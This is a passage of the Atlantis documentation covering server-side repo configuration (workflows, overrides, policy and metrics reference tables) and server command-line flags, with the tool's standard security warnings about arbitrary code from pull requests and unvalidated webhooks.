allowed_overrides: [workflow] allowed_workflows: [custom1] # Define your custom workflows. workflows: custom1: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command custom2: plan: steps: - run: another custom command apply: steps: - run: another custom command Then each allowed repo can choose one of the workflows in their `atlantis.yaml` files: yaml # atlantis.yaml version: 3 projects: - dir: . workflow: custom1 # could also be custom2 OR default NOTE There is always a workflow named `default` that corresponds to Atlantis' default workflow unless you've created your own server-side workflow with that key (overriding it). See [Custom Workflows](https://www.runatlantis.io/docs/custom-workflows) for more details on writing custom workflows. ### Allow Using Custom Policy Tools [​](https://www.runatlantis.io/docs/server-side-repo-config.html#allow-using-custom-policy-tools) Conftest is the standard policy check application integrated with Atlantis, but custom tools can still be run in custom workflows when the `custom_policy_check` option is set. See the [Custom Policy Checks page](https://www.runatlantis.io/docs/custom-policy-checks) for detailed examples. ### Allow Repos To Define Their Own Workflows [​](https://www.runatlantis.io/docs/server-side-repo-config.html#allow-repos-to-define-their-own-workflows) If you want repos to be able to define their own workflows you need to allow them to override the `workflow` key and set `allow_custom_workflows` to `true`. DANGER If repos can define their own workflows, then anyone that can create a pull request to that repo can essentially run arbitrary code on your Atlantis server. yaml # repos.yaml repos: - id: /.*/ # With just allowed_overrides: [workflow], repos can only # choose workflows defined server-side. allowed_overrides: [workflow] # By setting allow_custom_workflows to true, we allow repos to also # define their own workflows. allow_custom_workflows: true Then each allowed repo can define and use a custom workflow in their `atlantis.yaml` files: yaml # atlantis.yaml version: 3 projects: - dir: . workflow: custom1 workflows: custom1: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command See [Custom Workflows](https://www.runatlantis.io/docs/custom-workflows) for more details on writing custom workflows. ### Multiple Atlantis Servers Handle The Same Repository [​](https://www.runatlantis.io/docs/server-side-repo-config.html#multiple-atlantis-servers-handle-the-same-repository) Running multiple Atlantis servers to handle the same repository can be done to separate permissions for each Atlantis server. In this case, a different [atlantis.yaml](https://www.runatlantis.io/docs/repo-level-atlantis-yaml) repository config file can be used by using different `repos.yaml` files. For example, consider a situation where a separate `production-server` atlantis uses repo config `atlantis-production.yaml` and `staging-server` atlantis uses repo config `atlantis-staging.yaml`. Firstly, deploy 2 Atlantis servers, `production-server` and `staging-server`. Each server has different permissions and a different `repos.yaml` file. The `repos.yaml` contains `repo_config_file` key to specify the repository atlantis config file path. yaml # repos.yaml repos: - id: /.*/ # for production-server repo_config_file: atlantis-production.yaml # for staging-server # repo_config_file: atlantis-staging.yaml Then, create `atlantis-production.yaml` and `atlantis-staging.yaml` files in the repository. See the configuration examples in [atlantis.yaml](https://www.runatlantis.io/docs/repo-level-atlantis-yaml) . yaml # atlantis-production.yaml version: 3 projects: - name: project branch: /production/ dir: infrastructure/production --- # atlantis-staging.yaml version: 3 projects: - name: project branch: /staging/ dir: infrastructure/staging Now, 2 webhook URLs can be setup for the repository, which send events to `production-server` and `staging-server` respectively. Each servers handle different repository config files. Notes * If `no projects` comments are annoying, set [\--silence-no-projects](https://www.runatlantis.io/docs/server-configuration#silence-no-projects) . * The command trigger executable name can be reconfigured from `atlantis` to something else by setting [Executable Name](https://www.runatlantis.io/docs/server-configuration#executable-name) . * When using different atlantis server vcs users such as `@atlantis-staging`, the comment `@atlantis-staging plan` can be used instead `atlantis plan` to call `staging-server` only. Reference [​](https://www.runatlantis.io/docs/server-side-repo-config.html#reference) -------------------------------------------------------------------------------------- ### Top-Level Keys [​](https://www.runatlantis.io/docs/server-side-repo-config.html#top-level-keys) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | repos | array\[[Repo](https://www.runatlantis.io/docs/server-side-repo-config.html#repo)
\] | see below | no | List of repos to apply settings to. | | workflows | map\[string: [Workflow](https://www.runatlantis.io/docs/custom-workflows#workflow)
\] | see below | no | Map from workflow name to workflow. Workflows override the default Atlantis commands. | | policies | Policies. | none | no | List of policy sets to run and associated metadata | | metrics | Metrics. | none | no | Map of metric configuration | | team\_authz | [TeamAuthz](https://www.runatlantis.io/docs/server-side-repo-config.html#teamauthz) | none | no | Configuration of team permission checking | A Note On Defaults #### `repos` [​](https://www.runatlantis.io/docs/server-side-repo-config.html#repos) `repos` always contains a first element with the Atlantis default config: yaml repos: - id: /.*/ branch: /.*/ plan_requirements: [] apply_requirements: [] import_requirements: [] workflow: default allowed_overrides: [] allow_custom_workflows: false #### `workflows` [​](https://www.runatlantis.io/docs/server-side-repo-config.html#workflows) `workflows` always contains the Atlantis default workflow under the key `default`: yaml workflows: default: plan: steps: [init, plan] apply: steps: [apply] This gets merged with whatever config you write. If you set a workflow with the key `default`, it will override this. ### Repo [​](https://www.runatlantis.io/docs/server-side-repo-config.html#repo) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | id | string | none | yes | Value can be a regular expression when specified as // or an exact string match. Repo IDs are of the form `{vcs hostname}/{org}/{name}`, ex. `github.com/owner/repo`. Hostname is specified without scheme or port. For Bitbucket Server, {org} is the **name** of the project, not the key. | | branch | string | none | no | An regex matching pull requests by base branch (the branch the pull request is getting merged into). By default, all branches are matched | | repo\_config\_file | string | none | no | Repo config file path in this repo. By default, use `atlantis.yaml` which is located on repository root. When multiple atlantis servers work with the same repo, please set different file names. | | workflow | string | none | no | A custom workflow. | | plan\_requirements | \[\]string | none | no | Requirements that must be satisfied before `atlantis plan` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](https://www.runatlantis.io/docs/command-requirements)
for more details. | | apply\_requirements | \[\]string | none | no | Requirements that must be satisfied before `atlantis apply` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](https://www.runatlantis.io/docs/command-requirements)
for more details. | | import\_requirements | \[\]string | none | no | Requirements that must be satisfied before `atlantis import` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](https://www.runatlantis.io/docs/command-requirements)
for more details. | | allowed\_overrides | \[\]string | none | no | A list of restricted keys that `atlantis.yaml` files can override. The only supported keys are `apply_requirements`, `workflow`, `delete_source_branch_on_merge`,`repo_locking`, `repo_locks`, and `custom_policy_check` | | allowed\_workflows | \[\]string | none | no | A list of workflows that `atlantis.yaml` files can select from. | | allow\_custom\_workflows | bool | false | no | Whether or not to allow [Custom Workflows](https://www.runatlantis.io/docs/custom-workflows)
. | | delete\_source\_branch\_on\_merge | bool | false | no | Whether or not to delete the source branch on merge. | | repo\_locking | bool | false | no | (deprecated) Whether or not to get a lock. | | repo\_locks | [RepoLocks](https://www.runatlantis.io/docs/server-side-repo-config.html#repolocks) | `mode: on_plan` | no | Whether or not repository locks are enabled for this project on plan or apply. See [RepoLocks](https://www.runatlantis.io/docs/server-side-repo-config.html#repolocks)
for more details. | | policy\_check | bool | false | no | Whether or not to run policy checks on this repository. | | custom\_policy\_check | bool | false | no | Whether or not to enable custom policy check tools outside of Conftest on this repository. | | autodiscover | AutoDiscover | none | no | Auto discover settings for this repo | | silence\_pr\_comments | \[\]string | none | no | Silence PR comments from defined stages while preserving PR status checks. Useful in large environments with many Atlantis instances and/or projects, when the comments are too big and too many, therefore it is preferable to rely solely on PR status checks. Supported values are: `plan`, `apply`. | Notes * If multiple repos match, the last match will apply. * If a key isn't defined, it won't override a key that matched from above. For example, given a repo ID `github.com/owner/repo` and a config: yaml repos: - id: /.*/ allow_custom_workflows: true apply_requirements: [approved] - id: github.com/owner/repo apply_requirements: [] The final config will look like: yaml apply_requirements: [] workflow: default allowed_overrides: [] allow_custom_workflows: true Where * `apply_requirements` is set from the `id: github.com/owner/repo` config because it overrides the previous matching config from `id: /.*/`. * `workflow` is set from the default config that always exists. * `allowed_overrides` is set from the default config that always exists. * `allow_custom_workflows` is set from the `id: /.*/` config and isn't unset by the `id: github.com/owner/repo` config because it didn't define that key. ### RepoLocks [​](https://www.runatlantis.io/docs/server-side-repo-config.html#repolocks) yaml mode: on_apply | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | mode | `Mode` | `on_plan` | no | Whether or not repository locks are enabled for this project on plan or apply. Valid values are `disabled`, `on_plan` and `on_apply`. | ### Policies [​](https://www.runatlantis.io/docs/server-side-repo-config.html#policies) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | conftest\_version | string | none | no | conftest version to run all policy sets | | owners | Owners(#Owners) | none | yes | owners that can approve failing policies | | approve\_count | int | 1 | no | number of approvals required to bypass failing policies. | | sticky\_policy\_approvals | bool | false | no | when true, policy approvals survive re-plans as long as no new policy output items (per `policy_item_regex`) are introduced. See [Sticky Policy Approvals](https://www.runatlantis.io/docs/policy-checking#sticky-policy-approvals)
. | | policy\_item\_regex | string | `(?s).+` | no | regex to extract comparable items from policy output for sticky approval tracking. Default matches entire output as one item. See [Sticky Policy Approvals](https://www.runatlantis.io/docs/policy-checking#sticky-policy-approvals)
. | | policy\_sets | \[\]PolicySet | none | yes | set of policies to run on a plan output | ### Owners [​](https://www.runatlantis.io/docs/server-side-repo-config.html#owners) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | users | \[\]string | none | no | list of github users that can approve failing policies | | teams | \[\]string | none | no | list of github teams that can approve failing policies | ### PolicySet [​](https://www.runatlantis.io/docs/server-side-repo-config.html#policyset) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | name | string | none | yes | unique name for the policy set | | path | string | none | yes | path to the rego policies directory | | source | string | none | yes | only `local` is supported at this time | | owners | Owners | none | no | owners that can approve this specific policy set (merged with top-level owners) | | approve\_count | int | inherited | no | number of approvals required. Defaults to the top-level `approve_count` value | | prevent\_self\_approve | bool | false | no | whether the PR author can approve policies. Defaults to `false` (the author must also be in owners) | | sticky\_policy\_approvals | bool | inherited | no | overrides the top-level `sticky_policy_approvals` for this policy set. See [Sticky Policy Approvals](https://www.runatlantis.io/docs/policy-checking#sticky-policy-approvals)
. | | policy\_item\_regex | string | inherited | no | overrides the top-level `policy_item_regex` for this policy set. See [Sticky Policy Approvals](https://www.runatlantis.io/docs/policy-checking#sticky-policy-approvals)
. | ### Metrics [​](https://www.runatlantis.io/docs/server-side-repo-config.html#metrics) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | statsd | [Statsd](https://www.runatlantis.io/docs/server-side-repo-config.html#statsd) | none | no | Statsd metrics provider | | prometheus | [Prometheus](https://www.runatlantis.io/docs/server-side-repo-config.html#prometheus) | none | no | Prometheus metrics provider | ### Statsd [​](https://www.runatlantis.io/docs/server-side-repo-config.html#statsd) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | host | string | none | yes | statsd host ip address | | port | string | none | yes | statsd port | ### Prometheus [​](https://www.runatlantis.io/docs/server-side-repo-config.html#prometheus) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | endpoint | string | none | yes | path to metrics endpoint | ### TeamAuthz [​](https://www.runatlantis.io/docs/server-side-repo-config.html#teamauthz) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | command | string | none | yes | full path to external authorization command | | args | \[\]string | none | no | optional arguments to pass to `command` | --- # Server Configuration | Atlantis [Skip to content](https://www.runatlantis.io/docs/server-configuration.html#VPContent) On this page Server Configuration [​](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) ========================================================================================================= This page explains how to configure the `atlantis server` command. Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three. Environment Variables [​](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) ----------------------------------------------------------------------------------------------------------- All flags can be specified as environment variables. 1. Take the flag name, ex. `--gh-user` 2. Ignore the first `--` => `gh-user` 3. Convert the `-`'s to `_`'s => `gh_user` 4. Uppercase all the letters => `GH_USER` 5. Prefix with `ATLANTIS_` => `ATLANTIS_GH_USER` NOTE To set a boolean flag use `true` or `false` as the value. NOTE The flag `--atlantis-url` is set by the environment variable `ATLANTIS_ATLANTIS_URL` **NOT** `ATLANTIS_URL`. Config File [​](https://www.runatlantis.io/docs/server-configuration.html#config-file) --------------------------------------------------------------------------------------- All flags can also be specified via a YAML config file. To use a YAML config file, run `atlantis server --config /path/to/config.yaml`. The keys of your config file should be the same as the flag names, ex. yaml gh-token: ... log-level: ... WARNING The config file you pass to `--config` is different from the `--repo-config` file. The `--config` config file is only used as an alternate way of setting `atlantis server` flags. Precedence [​](https://www.runatlantis.io/docs/server-configuration.html#precedence) ------------------------------------------------------------------------------------- Values are chosen in this order: 1. Flags 2. Environment Variables 3. Config File Flags [​](https://www.runatlantis.io/docs/server-configuration.html#flags) --------------------------------------------------------------------------- ### `--allow-commands` v0.27.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#allow-commands) bash atlantis server --allow-commands=version,plan,apply,unlock,approve_policies,cancel # or ATLANTIS_ALLOW_COMMANDS='version,plan,apply,unlock,approve_policies,cancel' List of allowed commands to be run on the Atlantis server, Defaults to `version,plan,apply,unlock,approve_policies,cancel` Notes: * Accepts a comma separated list, ex. `command1,command2`. * `version`, `plan`, `apply`, `unlock`, `approve_policies`, `cancel`, `import`, `state`, `policy_check` and `all` are available. * `policy_check` is an internal command that runs automatically after `plan` when [policy checking](https://www.runatlantis.io/docs/policy-checking) is enabled. It must be explicitly allowlisted when using [`--gh-team-allowlist`](https://www.runatlantis.io/docs/server-configuration.html#gh-team-allowlist) . * `all` is a special keyword that allows all commands. If pass `all` then all other commands will be ignored. ### `--allow-draft-prs` v0.13.0 [​](https://www.runatlantis.io/docs/server-configuration.html#allow-draft-prs) bash atlantis server --allow-draft-prs # or ATLANTIS_ALLOW_DRAFT_PRS=true Respond to pull requests from draft prs. Defaults to `false`. ### `--allow-fork-prs` v0.3.1+ [​](https://www.runatlantis.io/docs/server-configuration.html#allow-fork-prs) bash atlantis server --allow-fork-prs # or ATLANTIS_ALLOW_FORK_PRS=true Respond to pull requests from forks. Defaults to `false`. SECURITY WARNING Potentially dangerous to enable because if attackers can create a pull request to your repo then they can cause Atlantis to run arbitrary code. This can happen because Atlantis will automatically run `terraform plan` which can run arbitrary code if given a malicious Terraform configuration. ### `--api-secret` v0.22.2+ [​](https://www.runatlantis.io/docs/server-configuration.html#api-secret) bash atlantis server --api-secret="secret" # or (recommended) ATLANTIS_API_SECRET="secret" Required secret used to validate requests made to the [`/api/*` endpoints](https://www.runatlantis.io/docs/api-endpoints) . ### `--atlantis-url` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration.html#atlantis-url) bash atlantis server --atlantis-url="https://my-domain.com:9090/basepath" # or ATLANTIS_ATLANTIS_URL=https://my-domain.com:9090/basepath Specify the URL that Atlantis is accessible from. Used in the Atlantis UI and in links from pull request comments. Defaults to `http://$(hostname):$port` where `$port` is from the [`--port`](https://www.runatlantis.io/docs/server-configuration.html#port) flag. Supports a basepath if you're hosting Atlantis under a path. Notes: * If a load balancer with a non http/https port (not the one defined in the `--port` flag) is used, update the URL to include the port like in the example above. * This URL is used as the `details` link next to each atlantis job to view the job's logs. ### `--autodiscover-mode` v0.27.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#autodiscover-mode) bash atlantis server --autodiscover-mode="" # or ATLANTIS_AUTODISCOVER_MODE="" Sets auto discover mode, default is `auto`. When set to `auto`, projects in a repo will be discovered by Atlantis when there are no projects configured in the repo config. If one or more projects are defined in the repo config then auto discovery will be completely disabled. When set to `enabled` projects will be discovered unconditionally. If an auto discovered project is already defined in the projects section of the repo config, the project from the repo config will take precedence over the auto discovered project. When set to `disabled` projects will never be discovered, even if there are no projects configured in the repo config. ### `--automerge` v0.17.0 [​](https://www.runatlantis.io/docs/server-configuration.html#automerge) bash atlantis server --automerge # or ATLANTIS_AUTOMERGE=true Automatically merge pull requests after all plans have been successfully applied. Defaults to `false`. See [Automerging](https://www.runatlantis.io/docs/automerging) for more details. ### `--automerge-method` [​](https://www.runatlantis.io/docs/server-configuration.html#automerge-method) bash atlantis server --automerge-method="squash" # or ATLANTIS_AUTOMERGE_METHOD="squash" Default merge method to use when automerging pull requests. Valid values are `merge`, `rebase`, and `squash`. When not set, the VCS provider's default merge method is used. This can be overridden per command with the `--auto-merge-method` comment flag. Currently only implemented for GitHub. ### `--autoplan-file-list` v0.15.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#autoplan-file-list) bash # NOTE: Use single quotes to avoid shell expansion of *. atlantis server --autoplan-file-list='**/*.tf,project1/*.pkr.hcl' # or ATLANTIS_AUTOPLAN_FILE_LIST='**/*.tf,project1/*.pkr.hcl' List of file patterns that Atlantis will use to check if a directory contains modified files that should trigger project planning. Notes: * Accepts a comma separated list, ex. `pattern1,pattern2`. * Patterns use the [`.dockerignore` syntax](https://docs.docker.com/engine/reference/builder/#dockerignore-file) * List of file patterns will be used by both automatic and manually run plans. * When not set, defaults to all `.tf`, `.tf.json`, `.tfvars`, `.tfvars.json`, `.tofu`, `.tofu.json`, `terragrunt.hcl` and `.terraform.lock.hcl` files (`--autoplan-file-list='**/*.tf,**/*.tf.json,**/*.tfvars,**/*.tfvars.json,**/*.tofu,**/*.tofu.json,**/terragrunt.hcl,**/.terraform.lock.hcl'`). * Setting `--autoplan-file-list` will override the defaults. You **must** add `**/*.tf` and other defaults if you want to include them. * The default is global (not distribution-aware). Both Terraform and OpenTofu installs will match `.tofu` changes. If you do not use OpenTofu, you can override the default to exclude `.tofu` patterns. * A custom [Workflow](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#configuring-planning) that uses autoplan `when_modified` will ignore this value. Examples: * Autoplan when any `*.tf` or `*.tfvars` file is modified. * `--autoplan-file-list='**/*.tf,**/*.tfvars'` * Autoplan when any `*.tf` file is modified except in `project2/` directory * `--autoplan-file-list='**/*.tf,!project2'` * Autoplan when any `*.tf` files or `.yml` files in subfolder of `project1` is modified. * `--autoplan-file-list='**/*.tf,project1/**/*.yml'` NOTE By default, changes to modules will not trigger autoplanning. See the flags below. ### `--autoplan-modules` v0.26.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#autoplan-modules) bash atlantis server --autoplan-modules # or ATLANTIS_AUTOPLAN_MODULES=true Defaults to `false`. When set to `true`, Atlantis will trace the local modules of included projects. Included project are projects with files included by `--autoplan-file-list`. After tracing, Atlantis will plan any project that includes a changed module. This is equivalent to setting `--autoplan-modules-from-projects` to the value of `--autoplan-file-list`. See below. NOTE Module dependency indexing uses Terraform config inspection and may not fully support `.tofu` / `.tofu.json` files. Module calls defined only in `.tofu` files or shared module directories containing only `.tofu` files may not be traced. Direct file-change autoplanning for `.tofu` projects works regardless. Use explicit `autoplan.when_modified` patterns as a workaround. See [OpenTofu .tofu file support](https://www.runatlantis.io/docs/terraform-versions#opentofu-tofu-file-support) for details. ### `--autoplan-modules-from-projects` v0.26.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#autoplan-modules-from-projects) bash atlantis server --autoplan-modules-from-projects='**/init.tf' # or ATLANTIS_AUTOPLAN_MODULES_FROM_PROJECTS='**/init.tf' Enables auto-planing of projects when a module dependency in the same repository has changed. This is a list of file patterns like `autoplan-file-list`. These patterns select **projects** to index based on the files matched. The index maps modules to the projects that depends on them, including projects that include the module via other modules. When a module file matching `autoplan-file-list` changes, all indexed projects will be planned. Current default is "" (disabled). Examples: * `**/*.tf` - will index all projects that have a `.tf` file in their directory, and plan them whenever an in-repo module dependency has changed. * `**/*.tf,!foo,!bar` - will index all projects containing `.tf` except `foo` and `bar` and plan them whenever an in-repo module dependency has changed. This allows projects to opt-out of auto-planning when a module dependency changes. NOTE Modules that are not selected by autoplan-file-list will not be indexed and dependant projects will not be planned. This flag allows the _projects_ to index to be selected, but the trigger for a plan must be a file in `autoplan-file-list`. NOTE This flag overrides `--autoplan-modules`. If you wish to disable auto-planning of modules, set this flag to an empty string, and set `--autoplan-modules` to `false`. ### `--azuredevops-hostname` v0.9.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#azuredevops-hostname) bash atlantis server --azuredevops-hostname="dev.azure.com" # or ATLANTIS_AZUREDEVOPS_HOSTNAME="dev.azure.com" Azure DevOps hostname to support cloud and self-hosted instances. Defaults to `dev.azure.com`. COMPATIBILITY WARNING If you are affected by this change [docs](https://learn.microsoft.com/en-us/azure/devops/release-notes/2018/sep-10-azure-devops-launch#administration) or this [issue](https://github.com/runatlantis/atlantis/issues/5595) both Service Hooks (v1 & v2) will convert the AD Organization name to lowercase: Examples: `https://dev.azure.com/MYCompany/` & `https://mycompany.visualstudio.com/` will be converted to `mycompany``https://dev.azure.com/MYCOMPANY/` & `https://myCOMPANY.visualstudio.com/` will be converted to `mycompany` This [change](https://github.com/runatlantis/atlantis/pull/5596) will be applied from version v0.35.0 What to do if you have pending plans that were generated with a previous version? Running an atlantis unlock from v0.35.0 on your current PRs will ignore the files on the `MYCompany` folder. On the next atlantis plan will use the `mycompany` folder and generate everything in the new folder name ### `--azuredevops-token` v0.9.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#azuredevops-token) bash atlantis server --azuredevops-token="RandomStringProducedByAzureDevOps" # or (recommended) ATLANTIS_AZUREDEVOPS_TOKEN="RandomStringProducedByAzureDevOps" Azure DevOps token of API user. ### `--azuredevops-user` v0.9.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#azuredevops-user) bash atlantis server --azuredevops-user="username@example.com" # or ATLANTIS_AZUREDEVOPS_USER="username@example.com" Azure DevOps username of API user. ### `--azuredevops-webhook-password` v0.9.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#azuredevops-webhook-password) bash atlantis server --azuredevops-webhook-password="password123" # or (recommended) ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD="password123" Azure DevOps basic authentication password for inbound webhooks (see [docs](https://docs.microsoft.com/en-us/azure/devops/service-hooks/authorize?view=azure-devops) ). SECURITY WARNING If not specified, Atlantis won't be able to validate that the incoming webhook call came from your Azure DevOps org. This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. Should be specified via the `ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD` environment variable. ### `--azuredevops-webhook-user` v0.9.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#azuredevops-webhook-user) bash atlantis server --azuredevops-webhook-user="username@example.com" # or ATLANTIS_AZUREDEVOPS_WEBHOOK_USER="username@example.com" Azure DevOps basic authentication username for inbound webhooks. ### `--bitbucket-api-user` v0.36.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#bitbucket-api-user) bash atlantis server --bitbucket-api-user="apiuser@example.com" # or ATLANTIS_BITBUCKET_API_USER="apiuser@example.com" Bitbucket username (usually an email) used for API authentication with Bitbucket Cloud. This is used for API calls only. If not specified, Atlantis will use the value of `--bitbucket-user` for API authentication to maintain backward compatibility. **Note:** * The backward compatibility is for supporting the existing Bitbucket APP Passwords that are still valid until June 2026 (see [Atlassian's Bitbucket app password deprecation notice](https://www.atlassian.com/blog/bitbucket/bitbucket-cloud-transitions-to-api-tokens-enhancing-security-with-app-password-deprecation) ). **Config file key:** yaml bitbucket-api-user: apiuser@example.com **Environment variable:** `ATLANTIS_BITBUCKET_API_USER` **Note:** This flag is only relevant for Bitbucket Cloud (bitbucket.org) integrations. ### `--bitbucket-base-url` v0.36.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#bitbucket-base-url) bash atlantis server --bitbucket-base-url="http://bitbucket.corp:7990/basepath" # or ATLANTIS_BITBUCKET_BASE_URL="http://bitbucket.corp:7990/basepath" Base URL of Bitbucket Server (aka Stash) installation. Must include `http://` or `https://`. If using Bitbucket Cloud (bitbucket.org), do not set. Defaults to `https://api.bitbucket.org`. ### `--bitbucket-token` v0.36.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#bitbucket-token) bash atlantis server --bitbucket-token="token" # or (recommended) ATLANTIS_BITBUCKET_TOKEN="token" Bitbucket app password of API user. ### `--bitbucket-user` v0.36.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#bitbucket-user) bash atlantis server --bitbucket-user="myuser" # or ATLANTIS_BITBUCKET_USER="myuser" Bitbucket username used for git operations. For Bitbucket Cloud, if `--bitbucket-api-user` is not specified, this value will also be used for API authentication. ### `--bitbucket-webhook-secret` v0.36.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#bitbucket-webhook-secret) bash atlantis server --bitbucket-webhook-secret="secret" # or (recommended) ATLANTIS_BITBUCKET_WEBHOOK_SECRET="secret" Secret used to validate Bitbucket webhooks. SECURITY WARNING If not specified, Atlantis won't be able to validate that the incoming webhook call came from Bitbucket. This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. ### `--blocked-extra-args` [​](https://www.runatlantis.io/docs/server-configuration.html#blocked-extra-args) bash atlantis server --blocked-extra-args="-chdir,--chdir,-plugin-dir,--plugin-dir" # or ATLANTIS_BLOCKED_EXTRA_ARGS='-chdir,--chdir,-plugin-dir,--plugin-dir' Comma-separated list of Terraform CLI flag prefixes that are not allowed in comment extra args (the flags after `--`). Defaults to `-chdir,--chdir,-plugin-dir,--plugin-dir`. Notes: * These flags are blocked to prevent security issues such as working-directory traversal (`-chdir`) or loading malicious providers (`-plugin-dir`). * Setting this flag **replaces** the default list entirely. To extend the defaults, include them along with your custom flags, e.g. `-chdir,--chdir,-plugin-dir,--plugin-dir,-my-flag`. * Accepts a comma separated list, ex. `-flag1,-flag2`. ### `--checkout-depth` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#checkout-depth) bash atlantis server --checkout-depth=0 # or ATLANTIS_CHECKOUT_DEPTH=0 The number of commits to fetch from the branch. Used if `--checkout-strategy=merge` since the `--checkout-strategy=branch` (default) checkout strategy always defaults to a shallow clone using a depth of 1. Defaults to `0`. See [Checkout Strategy](https://www.runatlantis.io/docs/checkout-strategy) for more details. ### `--checkout-strategy` v0.9.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#checkout-strategy) bash atlantis server --checkout-strategy="" # or ATLANTIS_CHECKOUT_STRATEGY="" How to check out pull requests. Use either `branch` or `merge`. Defaults to `branch`. See [Checkout Strategy](https://www.runatlantis.io/docs/checkout-strategy) for more details. ### `--config` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration.html#config) bash atlantis server --config="my/config/file.yaml" # or ATLANTIS_CONFIG="my/config/file.yaml" YAML config file where flags can also be set. See [Config File](https://www.runatlantis.io/docs/server-configuration.html#config-file) for more details. ### `--data-dir` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration.html#data-dir) bash atlantis server --data-dir="path/to/data/dir" # or ATLANTIS_DATA_DIR="path/to/data/dir" Directory where Atlantis will store its data. Will be created if it doesn't exist. Defaults to `~/.atlantis`. Atlantis will store its database, checked out repos, Terraform plans by default, and downloaded Terraform binaries here. If Atlantis loses this directory, [locks](https://www.runatlantis.io/docs/locking) will be lost and unapplied plans will be lost. Note that the atlantis user is restricted to `~/.atlantis`. If you set the `--data-dir` flag to a path outside of Atlantis its home directory, ensure that you grant the atlantis user the correct permissions. ### `--default-tf-distribution` v0.24.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#default-tf-distribution) bash atlantis server --default-tf-distribution="terraform" # or ATLANTIS_DEFAULT_TF_DISTRIBUTION="terraform" Which TF distribution to use. Can be set to `terraform` or `opentofu`. ### `--default-tf-version` v0.13.0 [​](https://www.runatlantis.io/docs/server-configuration.html#default-tf-version) bash atlantis server --default-tf-version="v0.12.31" # or ATLANTIS_DEFAULT_TF_VERSION="v0.12.31" Terraform version to default to. Will download to `/bin/terraform` if not in `PATH`. See [Terraform Versions](https://www.runatlantis.io/docs/terraform-versions) for more details. ### `--disable-apply-all` v0.9.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#disable-apply-all) bash atlantis server --disable-apply-all # or ATLANTIS_DISABLE_APPLY_ALL=true Disable `atlantis apply` command so a specific project/workspace/directory has to be specified for applies. ### `--disable-automerge-label` v0.45.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#disable-automerge-label) bash atlantis server --disable-automerge-label="no-auto-merge" # or ATLANTIS_DISABLE_AUTOMERGE_LABEL="no-auto-merge" Disable atlantis automerge only on pull requests with the specified label. Defaults to an empty string, so no label disables automerge by default. This flag has no effect unless automerge is enabled with `--automerge` or repo-level `automerge: true`. ### `--disable-autoplan` v0.15.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#disable-autoplan) bash atlantis server --disable-autoplan # or ATLANTIS_DISABLE_AUTOPLAN=true Disable atlantis auto planning. ### `--disable-autoplan-label` v0.33.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#disable-autoplan-label) bash atlantis server --disable-autoplan-label="no-autoplan" # or ATLANTIS_DISABLE_AUTOPLAN_LABEL="no-autoplan" Disable atlantis auto planning only on pull requests with the specified label. If `disable-autoplan` property is `true`, this flag has no effect. ### `--disable-global-apply-lock` v0.17.0 [​](https://www.runatlantis.io/docs/server-configuration.html#disable-global-apply-lock) bash atlantis server --disable-global-apply-lock # or ATLANTIS_DISABLE_GLOBAL_APPLY_LOCK=true If true, removes button in the UI that allows users to globally disable apply commands. ### `--disable-markdown-folding` v0.31.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#disable-markdown-folding) bash atlantis server --disable-markdown-folding # or ATLANTIS_DISABLE_MARKDOWN_FOLDING=true Disable folding in markdown output using the `
